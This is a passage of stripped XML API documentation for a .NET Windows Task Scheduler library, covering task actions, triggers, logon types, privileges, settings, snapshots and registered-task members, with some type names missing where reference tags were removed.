type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Gets a string representation of the . + String representation of this action. + + + Copies the properties from another the current instance. + The source . + + + Options for when to convert actions to PowerShell equivalents. + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities + are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple + actions of all types. If not specified, only a single is supported. Developer must ensure that + PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + + Convert all actions regardless of version or operating system. + + + Collection that contains the actions that are performed by the task. + + + Occurs when a collection changes. + + + Occurs when a property value changes. + + + Gets or sets the identifier of the principal for the task. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + + The PowerShell platform options. + + This property will affect how many actions are physically stored in the system and is tied to the version of Task Scheduler. + + If set to , then no actions will ever be converted to PowerShell. This will + force exceptions to be thrown when unsupported actions our action quantities are found. + + + If set to , then actions will be converted only under Version 1 of the + library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. If not specified, + only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the + target computer. + + + If set to (which is the default value), then and references will be converted to their PowerShell equivalents on systems + on or after Windows 8 / Server 2012. + + + If set to , then any actions not supported by the Task Scheduler version will be + converted to PowerShell. + + + + + Gets or sets an XML-formatted version of the collection. + + + Gets the number of actions in the collection. + + + Gets or sets a specified action from the collection. + The . + The id ( ) of the action to be retrieved. + Specialized instance. + + + + Mismatching Id for action and lookup. + + + Gets or sets a an action at the specified index. + The zero-based index of the action to get or set. + + + Adds an action to the task. + A type derived from . + A derived class. + The bound that was added to the collection. + + + Adds an to the task. + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + The bound that was added to the collection. + + + Adds a new instance to the task. + Type of task to be created + Specialized instance. + + + Adds a collection of actions to the end of the . + + The actions to be added to the end of the . The collection itself cannot be null and cannot + contain null elements. + + is null. + + + Clears all actions from the task. + + + Determines whether the contains a specific value. + The object to locate in the . + true if is found in the ; otherwise, false. + + + Determines whether the specified action type is contained in this collection. + Type of the action. + true if the specified action type is contained in this collection; otherwise, false. + + + + Copies the elements of the to an array of , starting at a particular index. + + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + + + + Copies the elements of the to an array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + + The array that is the destination of the elements copied from . The array must have zero-based indexing. + + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first + occurrence within the entire collection. + + + The delegate that defines the conditions of the to search for. + + + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based + index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Retrieves an enumeration of each of the actions. + + Returns an object that implements the interface and that can iterate through the + objects within the . + + + + Determines the index of a specific item in the . + The object to locate in the . + The index of if found in the list; otherwise, -1. + + + Determines the index of a specific item in the . + The id ( ) of the action to be retrieved. + The index of if found in the list; otherwise, -1. + + + Inserts an action at the specified index. + The zero-based index at which action should be inserted. + The action to insert into the list. + + + Removes the first occurrence of a specific object from the . + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method + also returns false if is not found in the original . + + + + Removes the action at a specified index. + Index of action to remove. + Index out of range. + + + Copies the elements of the to a new array. + An array containing copies of the elements of the . + + + Returns a that represents the actions in this collection. + A that represents the actions in this collection. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + + Functions to provide localized strings for enumerated types and values. + + + + + Gets a string representing the localized value of the provided enum. + + The enum value. + A localized string, if available. + + + + Pair of name and value. + + + + + Occurs when a property has changed. + + + + + Initializes a new instance of the class. + + + + + Gets or sets the name. + + + The name. + + + + + Gets or sets the value. + + + The value. + + + + + Clones this instance. + + A copy of an unbound . + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns a that represents this instance. + + + A that represents this instance. + + + + + Implements the operator implicit NameValuePair. + + The KeyValuePair. + + The result of the operator. + + + + + Contains a collection of name-value pairs. + + + + + Occurs when the collection has changed. + + + + + Occurs when a property has changed. + + + + + Copies current to another. + + The destination collection. + + + + Releases all resources used by this class. + + + + + Gets the number of items in the collection. + + + + + Gets a collection of the names. + + + The names. + + + + + Gets a collection of the values. + + + The values. + + + + + Gets the value of the item at the specified index. + + The index of the item being requested. + The value of the name-value pair at the specified index. + + + + Gets the value of the item with the specified name. + + Name to get the value for. + Value for the name, or null if not found. + + + + Adds an item to the . + + The object to add to the . + + + + Adds a name-value pair to the collection. + + The name associated with a value in a name-value pair. + The value associated with a name in a name-value pair. + + + + Adds the elements of the specified collection to the end of . + + The collection of whose elements should be added to the end of . + + + + Clears the entire collection of name-value pairs. + + + + + Returns an enumerator that iterates through the collection. + + + A that can be used to iterate through the collection. + + + + + Removes the name-value pair with the specified key from the collection. + + The name associated with a value in a name-value pair. + true if item successfully removed; false otherwise. + + + + Removes a selected name-value pair from the collection. + + Index of the pair to remove. + + + + Gets the value associated with the specified name. + + The name whose value to get. + When this method returns, the value associated with the specified name, if the name is found; otherwise, null. This parameter is passed uninitialized. + true if the collection contains an element with the specified name; otherwise, false. + + + + Gets the collection enumerator for the name-value collection. + + An for the collection. + + + + Abstract class for throwing a method specific exception. + + + + Defines the minimum supported version for the action not allowed by this exception. + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Gets a message that describes the current exception. + + + + + Gets the minimum supported TaskScheduler version required for this method or property. + + + + + Gets the object data. + + The information. + The context. + + + + Thrown when the calling method is not supported by Task Scheduler 1.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Initializes a new instance of the class. + + The message. + + + + Thrown when the calling method is not supported by Task Scheduler 2.0. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + Thrown when the calling method is not supported by Task Scheduler versions prior to the one specified. + + + + + Initializes a new instance of the class. + + The serialization information. + The streaming context. + + + + A strongly-typed resource class, for looking up localized strings, etc. + + + + + Returns the cached ResourceManager instance used by this class. + + + + + Overrides the current thread's CurrentUICulture property for all + resource lookups using this strongly typed resource class. + + + + + Looks up a localized string similar to Call a COM object. + + + + + Looks up a localized string similar to Start a program. + + + + + Looks up a localized string similar to Send an e-mail. + + + + + Looks up a localized string similar to Display a message. + + + + + Looks up a localized string similar to {3} {0:P}. + + + + + Looks up a localized string similar to every day. + + + + + Looks up a localized string similar to {1} {0}. + + + + + Looks up a localized string similar to .. + + + + + Looks up a localized string similar to The date and time a trigger expires must be later than the time time it starts or is activated.. + + + + + Looks up a localized string similar to {0} {1}. + + + + + Looks up a localized string similar to -. + + + + + Looks up a localized string similar to ,. + + + + + Looks up a localized string similar to every month. + + + + + Looks up a localized string similar to Multiple actions defined. + + + + + Looks up a localized string similar to Multiple triggers defined. + + + + + Looks up a localized string similar to {0}. + + + + + Looks up a localized string similar to Author. + + + + + Looks up a localized string similar to Disabled. + + + + + Looks up a localized string similar to Queued. + + + + + Looks up a localized string similar to Ready. + + + + + Looks up a localized string similar to Running. + + + + + Looks up a localized string similar to Unknown. + + + + + Looks up a localized string similar to any user. + + + + + Looks up a localized string similar to At system startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to At {0:t} every day. + + + + + Looks up a localized string similar to At {0:t} every {1} days. + + + + + Looks up a localized string similar to indefinitely. + + + + + Looks up a localized string similar to for a duration of {0}. + + + + + Looks up a localized string similar to for {0}. + + + + + Looks up a localized string similar to Trigger expires at {0:G}.. + + + + + Looks up a localized string similar to Custom event filter. + + + + + Looks up a localized string similar to On event - Log: {0}. + + + + + Looks up a localized string similar to , Source: {0}. + + + + + Looks up a localized string similar to , EventID: {0}. + + + + + Looks up a localized string similar to When computer is idle. + + + + + Looks up a localized string similar to At log on of {0}. + + + + + Looks up a localized string similar to At {0:t} on day {1} of {2}, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} on {1} {2:f} each {3}, starting {0:d}. + + + + + Looks up a localized string similar to When the task is created or modified. + + + + + Looks up a localized string similar to After triggered, repeat every {0} {1}.. + + + + + Looks up a localized string similar to Every {0} {1}.. + + + + + Looks up a localized string similar to On local connection to {0}.. + + + + + Looks up a localized string similar to On local disconnect from {0}.. + + + + + Looks up a localized string similar to On remote connection to {0}.. + + + + + Looks up a localized string similar to On remote disconnect from {0}.. + + + + + Looks up a localized string similar to On workstation lock of {0}.. + + + + + Looks up a localized string similar to On workstation unlock of {0}.. + + + + + Looks up a localized string similar to user session of {0}. + + + + + Looks up a localized string similar to At {0:t} on {0:d}. + + + + + Looks up a localized string similar to At startup. + + + + + Looks up a localized string similar to Custom Trigger. + + + + + Looks up a localized string similar to Daily. + + + + + Looks up a localized string similar to On an event. + + + + + Looks up a localized string similar to On idle. + + + + + Looks up a localized string similar to At log on. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to Monthly. + + + + + Looks up a localized string similar to At task creation/modification. + + + + + Looks up a localized string similar to On state change. + + + + + Looks up a localized string similar to One time. + + + + + Looks up a localized string similar to Weekly. + + + + + Looks up a localized string similar to At {0:t} every {1} of every week, starting {0:d}. + + + + + Looks up a localized string similar to At {0:t} every {1} of every {2} weeks, starting {0:d}. + + + + + Looks up a localized string similar to every. + + + + + Looks up a localized string similar to fifth. + + + + + Looks up a localized string similar to first. + + + + + Looks up a localized string similar to fourth. + + + + + Looks up a localized string similar to last. + + + + + Looks up a localized string similar to second. + + + + + Looks up a localized string similar to third. + + + + + Some string values of properties can be set to retrieve their value from existing DLLs as a resource. This class facilitates creating those reference strings. + + + + + Initializes a new instance of the class. + + The DLL path. + The resource identifier. + + + + Gets or sets the resource file path. This can be a relative path, full path or lookup path (e.g. %SystemRoot%\System32\ResourceName.dll). + + + The resource file path. + + + + + Gets or sets the resource identifier. + + The resource identifier. + + + + Performs an implicit conversion from to . + + The value. + The result of the conversion. + + + + Parses the input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + A new instance on success or null on failure. + is null + is not in the format "$(@ [Dll], [ResourceID])" + + + + Tries to parse to input string. String must be in the format "$(@ [Dll], [ResourceID])". + + The input string value. + The resource reference to be returned. On failure, this value equals null. + A new instance on success or null on failure. + + + + Gets the result of pulling the string from the resource file using the identifier. + + from resource file. + cannot be found. + Unable to load or string identified by . + + + + Returns a in the format required by the Task Scheduler to reference a string in a DLL. + + A formatted in the format $(@ [Dll], [ResourceID]). + + + Abstract class representing a secured item for storage in a . + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + Gets the path to the item. + The path to the item. + + + Gets the SDDL for the item. + The SDDL for the item. + + + Represents a instance and captures its name and security. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + + + + Represents all the information about the tasks and folders from a instance that can be used to reconstitute tasks and folders + on the same or different systems. This class and related classes are only available under the .NET 4.5.2 build and later .NET versions due to + dependencies on threading and compressed (zip) files. + + + + Creates a new instance of from an existing snapshot. + The zip file snapshot created by the method. + + + + Gets a list of and instances the represent the tasks and folders from a Task Scheduler instance. + + + + Gets the path of the file based snapshot. + + + Gets the machine name of the server from which the snapshot was taken. + The target server name. + + + Gets the UTC time stamp for when the snapshot was taken. + The time stamp. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method can take many seconds to execute. It is recommended to call the asynchronous + version.This method will execute without error even if the user does not have permissions to see all tasks and folders. + It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A instance with the contents of the specified Task Scheduler connection. + + + + Creates a compressed zip file that contains all the information accessible to the user from the instance necessary to + reconstitute its tasks and folders. This method will execute without error even if the user does not have permissions to see all + tasks and folders. It is imperative that the developer ensures that the user has Administrator or equivalent rights before calling this method. + + The from which to pull the tasks and folders. + The output zip file in which to place the snapshot information. + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance with the contents of the specified Task Scheduler connection. + + + Opens an existing snapshot and returns a new instance of . + The zip file snapshot created by the method. + A instance with the contents of the specified snapshot file. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of paths representing the tasks and folders from this snapshot that should be registered on the instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + A cancellation token to use to cancel this asynchronous operation. + An optional instance to use to report progress of the asynchronous operation. + An asynchronous instance. + + + Register a list of snapshot items (tasks and folders) into the specified Task Scheduler. + The into which the tasks and folders are registered. + + The list of instances representing the tasks and folders from this snapshot that should be registered on the + instance. + + + If true, takes the access rights from the snapshot item and applies it to both new and existing tasks and folders. + + + If true, overwrite any existing tasks and folders found in the target Task Scheduler that match the path of the snapshot item. + + + Lookup table for password. Provide pairs of the user/group account name and the associated passwords for any task that requires a password. + + + + Represents a instance and captures its details. + + + Initializes a new instance of the class. + The path to the item. + The SDDL for the item. + If set to true task is enabled. + The XML for the . + + + Gets a value indicating whether th is enabled. + true if enabled; otherwise, false. + + + Gets the XML. + The XML. + + + Defines what versions of Task Scheduler or the AT command that the task is compatible with. + + + The task is compatible with the AT command. + + + + The task is compatible with Task Scheduler 1.0 (Windows Server™ 2003, Windows® XP, or Windows® 2000). + Items not available when compared to V2: + + TaskDefinition.Principal.GroupId - All account information can be retrieved via the UserId property. + TaskLogonType values Group, None and S4U are not supported. + TaskDefinition.Principal.RunLevel == TaskRunLevel.Highest is not supported. + + Assigning access security to a task is not supported using TaskDefinition.RegistrationInfo.SecurityDescriptorSddlForm or in RegisterTaskDefinition. + + + TaskDefinition.RegistrationInfo.Documentation, Source, URI and Version properties are only supported using this library. See + details in the remarks for . + + TaskDefinition.Settings.AllowDemandStart cannot be false. + TaskDefinition.Settings.AllowHardTerminate cannot be false. + TaskDefinition.Settings.MultipleInstances can only be IgnoreNew. + TaskDefinition.Settings.NetworkSettings cannot have any values. + TaskDefinition.Settings.RestartCount can only be 0. + TaskDefinition.Settings.StartWhenAvailable can only be false. + + TaskDefinition.Actions can only contain ExecAction instances unless the TaskDefinition.Actions.PowerShellConversion property has + the Version1 flag set. + + TaskDefinition.Triggers cannot contain CustomTrigger, EventTrigger, SessionStateChangeTrigger, or RegistrationTrigger instances. + TaskDefinition.Triggers cannot contain instances with delays set. + TaskDefinition.Triggers cannot contain instances with ExecutionTimeLimit or Id properties set. + TaskDefinition.Triggers cannot contain LogonTriggers instances with the UserId property set. + TaskDefinition.Triggers cannot contain MonthlyDOWTrigger instances with the RunOnLastWeekOfMonth property set to true. + TaskDefinition.Triggers cannot contain MonthlyTrigger instances with the RunOnDayWeekOfMonth property set to true. + + + + + + The task is compatible with Task Scheduler 2.0 (Windows Vista™, Windows Server™ 2008). + + This version is the baseline for the new, non-file based Task Scheduler. See remarks for + functionality that was not forward-compatible. + + + + + + The task is compatible with Task Scheduler 2.1 (Windows® 7, Windows Server™ 2008 R2). + Changes from V2: + + TaskDefinition.Principal.ProcessTokenSidType can be defined as a value other than Default. + + TaskDefinition.Actions may not contain EmailAction or ShowMessageAction instances unless the + TaskDefinition.Actions.PowerShellConversion property has the Version2 flag set. + + TaskDefinition.Principal.RequiredPrivileges can have privilege values assigned. + TaskDefinition.Settings.DisallowStartOnRemoteAppSession can be set to true. + TaskDefinition.UseUnifiedSchedulingEngine can be set to true. + + + + + + The task is compatible with Task Scheduler 2.2 (Windows® 8.x, Windows Server™ 2012). + Changes from V2_1: + + + TaskDefinition.Settings.MaintenanceSettings can have Period or Deadline be values other than TimeSpan.Zero or the Exclusive + property set to true. + + TaskDefinition.Settings.Volatile can be set to true. + + + + + + The task is compatible with Task Scheduler 2.3 (Windows® 10, Windows Server™ 2016). + Changes from V2_2: + + None published. + + + + + Defines how the Task Scheduler service creates, updates, or disables the task. + + + The Task Scheduler service registers the task as a new task. + + + + The Task Scheduler service either registers the task as a new task or as an updated version if the task already exists. + Equivalent to Create | Update. + + + + + The Task Scheduler service registers the disabled task. A disabled task cannot run until it is enabled. For more information, + see Enabled Property of TaskSettings and Enabled Property of RegisteredTask. + + + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. When the + TaskFolder.RegisterTaskDefinition or TaskFolder.RegisterTask functions are called with this flag to update a task, the Task + Scheduler service does not add the ACE for the new context principal and does not remove the ACE from the old context principal. + + + + + The Task Scheduler service creates the task, but ignores the registration triggers in the task. By ignoring the registration + triggers, the task will not execute when it is registered unless a time-based trigger causes it to execute on registration. + + + + + The Task Scheduler service registers the task as an updated version of an existing task. When a task with a registration trigger + is updated, the task will execute after the update occurs. + + + + + The Task Scheduler service checks the syntax of the XML that describes the task but does not register the task. This constant + cannot be combined with the Create, Update, or CreateOrUpdate values. + + + + Defines how the Task Scheduler handles existing instances of the task when it starts a new instance of the task. + + + Starts new instance while an existing instance is running. + + + Starts a new instance of the task after all other instances of the task are complete. + + + Does not start a new instance if an existing instance of the task is running. + + + Stops an existing instance of the task before it starts a new instance. + + + Defines what logon technique is required to run a task. + + + The logon method is not specified. Used for non-NT credentials. + + + Use a password for logging on the user. The password must be supplied at registration time. + + + + Use an existing interactive token to run a task. The user must log on using a service for user (S4U) logon. When an S4U logon is + used, no password is stored by the system and there is no access to either the network or to encrypted files. + + + + User must already be logged on. The task will be run only in an existing interactive session. + + + Group activation. The groupId field specifies the group. + + + + Indicates that a Local System, Local Service, or Network Service account is being used as a security context to run the task. + + + + + First use the interactive token. If the user is not logged on (no interactive token is available), then the password is used. + The password must be specified when a task is registered. This flag is not recommended for new tasks because it is less reliable + than Password. + + + + Defines which privileges must be required for a secured task. + + + Required to create a primary token. User Right: Create a token object. + + + Required to assign the primary token of a process. User Right: Replace a process-level token. + + + Required to lock physical pages in memory. User Right: Lock pages in memory. + + + Required to increase the quota assigned to a process. User Right: Adjust memory quotas for a process. + + + Required to read unsolicited input from a terminal device. User Right: Not applicable. + + + Required to create a computer account. User Right: Add workstations to domain. + + + + This privilege identifies its holder as part of the trusted computer base. Some trusted protected subsystems are granted this + privilege. User Right: Act as part of the operating system. + + + + + Required to perform a number of security-related functions, such as controlling and viewing audit messages. This privilege + identifies its holder as a security operator. User Right: Manage auditing and the security log. + + + + + Required to take ownership of an object without being granted discretionary access. This privilege allows the owner value to be + set only to those values that the holder may legitimately assign as the owner of an object. User Right: Take ownership of files + or other objects. + + + + Required to load or unload a device driver. User Right: Load and unload device drivers. + + + Required to gather profiling information for the entire system. User Right: Profile system performance. + + + Required to modify the system time. User Right: Change the system time. + + + Required to gather profiling information for a single process. User Right: Profile single process. + + + Required to increase the base priority of a process. User Right: Increase scheduling priority. + + + Required to create a paging file. User Right: Create a pagefile. + + + Required to create a permanent object. User Right: Create permanent shared objects. + + + + Required to perform backup operations. This privilege causes the system to grant all read access control to any file, regardless + of the access control list (ACL) specified for the file. Any access request other than read is still evaluated with the ACL. + This privilege is required by the RegSaveKey and RegSaveKeyExfunctions. The following access rights are granted if this + privilege is held: READ_CONTROL, ACCESS_SYSTEM_SECURITY, FILE_GENERIC_READ, FILE_TRAVERSE. User Right: Back up files and directories. + + + + + Required to perform restore operations. This privilege causes the system to grant all write access control to any file, + regardless of the ACL specified for the file. Any access request other than write is still evaluated with the ACL. Additionally, + this privilege enables you to set any valid user or group security identifier (SID) as the owner of a file. This privilege is + required by the RegLoadKey function. The following access rights are granted if this privilege is held: WRITE_DAC, WRITE_OWNER, + ACCESS_SYSTEM_SECURITY, FILE_GENERIC_WRITE, FILE_ADD_FILE, FILE_ADD_SUBDIRECTORY, DELETE. User Right: Restore files and directories. + + + + Required to shut down a local system. User Right: Shut down the system. + + + Required to debug and adjust the memory of a process owned by another account. User Right: Debug programs. + + + Required to generate audit-log entries. Give this privilege to secure servers. User Right: Generate security audits. + + + + Required to modify the nonvolatile RAM of systems that use this type of memory to store configuration information. User Right: + Modify firmware environment values. + + + + + Required to receive notifications of changes to files or directories. This privilege also causes the system to skip all + traversal access checks. It is enabled by default for all users. User Right: Bypass traverse checking. + + + + Required to shut down a system by using a network request. User Right: Force shutdown from a remote system. + + + Required to undock a laptop. User Right: Remove computer from docking station. + + + + Required for a domain controller to use the LDAP directory synchronization services. This privilege allows the holder to read + all objects and properties in the directory, regardless of the protection on the objects and properties. By default, it is + assigned to the Administrator and LocalSystem accounts on domain controllers. User Right: Synchronize directory service data. + + + + + Required to mark user and computer accounts as trusted for delegation. User Right: Enable computer and user accounts to be + trusted for delegation. + + + + Required to enable volume management privileges. User Right: Manage the files on a volume. + + + + Required to impersonate. User Right: Impersonate a client after authentication. Windows XP/2000: This privilege is not + supported. Note that this value is supported starting with Windows Server 2003, Windows XP with SP2, and Windows 2000 with SP4. + + + + + Required to create named file mapping objects in the global namespace during Terminal Services sessions. This privilege is + enabled by default for administrators, services, and the local system account. User Right: Create global objects. Windows + XP/2000: This privilege is not supported. Note that this value is supported starting with Windows Server 2003, Windows XP with + SP2, and Windows 2000 with SP4. + + + + Required to access Credential Manager as a trusted caller. User Right: Access Credential Manager as a trusted caller. + + + Required to modify the mandatory integrity level of an object. User Right: Modify an object label. + + + + Required to allocate more memory for applications that run in the context of users. User Right: Increase a process working set. + + + + Required to adjust the time zone associated with the computer's internal clock. User Right: Change the time zone. + + + Required to create a symbolic link. User Right: Create symbolic links. + + + + Defines the types of process security identifier (SID) that can be used by tasks. These changes are used to specify the type of + process SID in the IPrincipal2 interface. + + + + No changes will be made to the process token groups list. + + + + A task SID that is derived from the task name will be added to the process token groups list, and the token default + discretionary access control list (DACL) will be modified to allow only the task SID and local system full control and the + account SID read control. + + + + A Task Scheduler will apply default settings to the task process. + + + Defines how a task is run. + + + The task is run with all flags ignored. + + + The task is run as the user who is calling the Run method. + + + The task is run regardless of constraints such as "do not run on batteries" or "run only if idle". + + + The task is run using a terminal server session identifier. + + + The task is run using a security identifier. + + + Defines LUA elevation flags that specify with what privilege level the task will be run. + + + Tasks will be run with the least privileges. + + + Tasks will be run with the highest privileges. + + + + Defines what kind of Terminal Server session state change you can use to trigger a task to start. These changes are used to specify + the type of state change in the SessionStateChangeTrigger. + + + + + Terminal Server console connection state change. For example, when you connect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server console disconnection state change. For example, when you disconnect to a user session on the local computer by + switching users on the computer. + + + + + Terminal Server remote connection state change. For example, when a user connects to a user session by using the Remote Desktop + Connection program from a remote computer. + + + + + Terminal Server remote disconnection state change. For example, when a user disconnects from a user session while using the + Remote Desktop Connection program from a remote computer. + + + + + Terminal Server session locked state change. For example, this state change causes the task to run when the computer is locked. + + + + + Terminal Server session unlocked state change. For example, this state change causes the task to run when the computer is unlocked. + + + + Options for use when calling the SetSecurityDescriptorSddlForm methods. + + + No special handling. + + + The Task Scheduler service is prevented from adding the allow access-control entry (ACE) for the context principal. + + + Defines the different states that a registered task can be in. + + + The state of the task is unknown. + + + + The task is registered but is disabled and no instances of the task are queued or running. The task cannot be run until it is enabled. + + + + Instances of the task are queued. + + + The task is ready to be executed, but no instances are queued or running. + + + One or more instances of the task is running. + + + + Specifies how the Task Scheduler performs tasks when the computer is in an idle condition. For information about idle conditions, + see Task Idle Conditions. + + + + Occurs when a property value changes. + + + + Gets or sets a value that indicates the amount of time that the computer must be in an idle state before the task is run. + + + A value that indicates the amount of time that the computer must be in an idle state before the task is run. The minimum value + is one minute. If this value is TimeSpan.Zero, then the delay will be set to the default of 10 minutes. + + + + + Gets or sets a Boolean value that indicates whether the task is restarted when the computer cycles into an idle condition more + than once. + + + + + Gets or sets a Boolean value that indicates that the Task Scheduler will terminate the task if the idle condition ends before + the task is completed. + + + + + Gets or sets a value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. If no + value is specified for this property, then the Task Scheduler service will wait indefinitely for an idle condition to occur. + + + A value that indicates the amount of time that the Task Scheduler will wait for an idle condition to occur. The minimum time + allowed is 1 minute. If this value is TimeSpan.Zero, then the delay will be the equivalent of "Do not wait". + + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Specifies the task settings the Task scheduler will use to start task during Automatic maintenance. + + + Occurs when a property value changes. + + + + Gets or sets the amount of time after which the Task scheduler attempts to run the task during emergency Automatic maintenance, + if the task failed to complete during regular Automatic maintenance. The minimum value is one day. The value of the property should be greater than the value of the property. If the deadline is not + specified the task will not be started during emergency Automatic maintenance. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets a value indicating whether the Task Scheduler must start the task during the Automatic maintenance in exclusive + mode. The exclusivity is guaranteed only between other maintenance tasks and doesn't grant any ordering priority of the task. If + exclusivity is not specified, the task is started in parallel with other maintenance tasks. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + + Gets or sets the amount of time the task needs to be started during Automatic maintenance. The minimum value is one minute. + + Property set for a task on a Task Scheduler version prior to 2.2. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the settings that the Task Scheduler service uses to obtain a network profile. + + + Occurs when a property value changes. + + + Gets or sets a GUID value that identifies a network profile. + Not supported under Task Scheduler 1.0. + + + Gets or sets the name of a network profile. The name is used for display purposes. + Not supported under Task Scheduler 1.0. + + + Releases all resources used by this class. + + + Returns a that represents this instance. + A that represents this instance. + + + Called when a property has changed to notify any attached elements. + Name of the property. + + + Provides the methods to get information from and control a running task. + + + Gets the process ID for the engine (process) which is running the task. + Not supported under Task Scheduler 1.0. + + + Gets the name of the current action that the running task is performing. + + + Gets the GUID identifier for this instance of the task. + + + Gets the operational state of the running task. + + + Releases all resources used by this class. + + + Refreshes all of the local instance variables of the task. + Thrown if task is no longer running. + + + + Provides the methods that are used to run the task immediately, get any running instances of the task, get or set the credentials + that are used to register the task, and the properties that describe the task. + + + + Occurs when a property value changes. + + + Gets the definition of the task. + + + Gets or sets a Boolean value that indicates if the registered task is enabled. + + As of version 1.8.1, under V1 systems (prior to Vista), this property will immediately update the Disabled state and re-save the + current task. If changes have been made to the , then those changes will be saved. + + + + Gets an instance of the parent folder. + A object representing the parent folder of this task. + + + Gets a value indicating whether this task instance is active. + true if this task instance is active; otherwise, false. + + + Gets the time the registered task was last run. + Returns if there are no prior run times. + + + Gets the results that were returned the last time the registered task was run. + The value returned is the last exit code of the last program run via an . + + + + + + + + Gets the time when the registered task is next scheduled to run. + Returns if there are no future run times. + + Potentially breaking change in release 1.8.2. For Task Scheduler 2.0, the return value prior to 1.8.2 would be Dec 30, 1899 if + there were no future run times. For 1.0, that value would have been DateTime.MinValue. In release 1.8.2 and later, all + versions will return DateTime.MinValue if there are no future run times. While this is different from the native 2.0 + library, it was deemed more appropriate to have consistency between the two libraries and with other .NET libraries. + + + + + Gets a value indicating whether this task is read only. Only available if is true. + + true if read only; otherwise, false. + + + Gets or sets the security descriptor for the task. + The security descriptor. + + + Gets the operational state of the registered task. + + + Gets or sets the that manages this task. + The task service. + + + Gets the name of the registered task. + + + Gets the number of times the registered task has missed a scheduled run. + Not supported under Task Scheduler 1.0. + + + Gets the path to where the registered task is stored. + + + Gets the XML-formatted registration information for the registered task. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current + instance precedes, follows, or occurs in the same position in the sort order as the other object. + + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + Releases all resources used by this class. + + + Exports the task to the specified file in XML. + Name of the output file. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + A object that encapsulates the access control rules for the current task. + + + + Gets a object that encapsulates the specified type of access control list (ACL) entries for the task + described by the current object. + + + One of the values that specifies which group of access control + entries to retrieve. + + A object that encapsulates the access control rules for the current task. + + + Gets all instances of the currently running registered task. + A with all instances of current task. + Not supported under Task Scheduler 1.0. + + + + Gets the last registration time, looking first at the value and then looking for the + most recent registration event in the Event Log. + + of the last registration or if no value can be found. + + + Gets the times that the registered task is scheduled to run during a specified time. + The starting time for the query. + The ending time for the query. + The requested number of runs. A value of 0 will return all times requested. + The scheduled times that the task will run. + + + Gets the security descriptor for 